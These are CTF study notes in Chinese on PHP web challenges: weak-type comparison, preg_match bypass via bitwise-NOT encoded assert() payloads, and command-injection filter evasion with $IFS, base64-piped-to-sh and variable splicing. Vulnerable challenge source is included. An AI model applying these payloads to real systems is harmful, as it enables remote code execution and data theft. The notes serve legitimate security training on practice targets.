思維導圖

本課重點:
- 案例1:PHP-相關總結知識點-后期復現
- 案例2:PHP-弱類型對比繞過測試-常考點
- 案例3:PHP-正則preg_match繞過-常考點
- 案例4:PHP-命令執行RCE變異繞過-常考點
- 案例5:PHP-反序列化考題分析構造復現-常考點
案例1:PHP-相關總結知識點-后期復現
相關PHP所有總結知識點參考:
https://www.cnblogs.com/iloveacm/category/1791836.html
1 ctf變量 2 php的弱類型比較問題 3 php斷言(assert) 4 php讀取目錄下文件的方法 5 preg_match繞過 6 PHP中sha1()函數和md5() 1 異或注入 2 updatexml()函數報錯注入 3 源文件泄露利用 4 extract變量覆蓋 5 strcmp()漏洞 6 md5()漏洞 7 ereg()截斷漏洞 8 弱類型整數大小比較繞過 1 命令執行 2 md5()漏洞 3 escapeshellarg()與escapeshellcmd() 4 sql注入繞過關鍵字 5 preg_replace/e的命令執行漏洞 6 MYSQL特殊模式 7 PHP字符串解析特性
案例2:PHP-弱類型對比繞過測試-常考點
弱類型繞過對比總結:
https://www.cnblogs.com/Mrsm1th/p/6745532.html
=== 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較
== 在進行比較的時候,會先將字符串類型轉化成相同,再比較
舉例
//對函數類型有限制
<?php
$num=$_GET['num'];
if (!is_numeric($num)){
echo $num;
if($num==l)
echo 'flag{*****flag****} ';
?>
//indexl.php?num=1x
//indexl.php?num=1%0a
傳參1x,得到flag。

案例3:PHP-正則preg_match繞過-常考點
ctf中 preg_match 繞過技術:
- 方法1:異或
- 方法2:取反
- 方法3:數組
- 方法4: PCRE
- 方法5∶換行符
- 參考:http://t.zoukankan.com/v01cano-p-11736722.html
真題:preg_match繞過-ctfhub-2020-第五空間智能安全大賽-web-hate_php
靶場地址:https://www.ctfhub.com/#/challenge
<1>打開頁面,顯示如下代碼
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
<2>第一個正則表達式過濾了很多字符且不區分大小寫。第二個正則表達式過濾了PHP的內置函數,因此即使找到了某個函數恰好可以繞過第一個,也過不去第二個過濾。這樣的題目,一般的思路就是利用異或或者取反來繞過。這里用取反來繞過。
首先打印當前目錄下的文件:print_r(scandir('.'))
<?php echo urlencode(~'print_r'); //urlencode url編碼 ~ 取反 echo "\n"; echo urlencode(~'scandir'); echo "\n"; echo urlencode(~'.'); ?>
//生成payload:/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

然后顯示flag內容:highlight_file('flag.php')
<?php echo urlencode(~'highlight_file'); echo "\n"; echo urlencode(~'flag.php'); ?> //生成payload:/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

成功拿到flag。
案例4:PHP-命令執行RCE變異繞過-常考點
命令執行常見繞過:https://www.cnblogs.com/iloveacm/p/13687654.html
靶場地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
<1>場景打開如下,猜測有命令執行漏洞。

<2>使用管道符,成功列出當前目錄下文件

<3>嘗試讀取flag文件,失敗,發現過濾了空格、特殊字符、關鍵字flag等。



<4>嘗試繞過
空格繞過方式:
$IFS
${IFS}
$IFS$數字
<
<>
三種繞過方式:
1.sh
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
2.變量拼接
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
3.內聯注釋(將反引號命令的結果作為輸入來執行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
使用變量拼接的方式,成功繞過,得到flag。(需要右擊查看網頁源代碼)
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

同樣,也可以查看網頁源代碼,分析繞過規則
/?ip=127.0.0.1;cat$IFS$2index.php

<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
案例5:PHP-反序列化考題分析構造復現-常考點
真題:網鼎杯2020-青龍組-web-AreUserialz
靶場地址:https://www.ctfhub.com/#/challenge
發現Flag位置-反序列化考點-分析代碼-構造代碼生成Payload
具體解題步驟參考前面筆記 37:WEB漏洞-反序列化之PHP&JAVA全解(上)
https://www.cnblogs.com/zhengna/p/15661109.html
涉及資源:
- https://www.cnblogs.com/iloveacm/category/1791836.html CTF知識點
- https://buuoj.cn/challenges 靶場
- https://www.ctfhub.com/#/challenge ctf
- http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 繞過技術 | 無字母數字的webshell
- https://www.cnblogs.com/iloveacm/p/13687654.html 命令執行
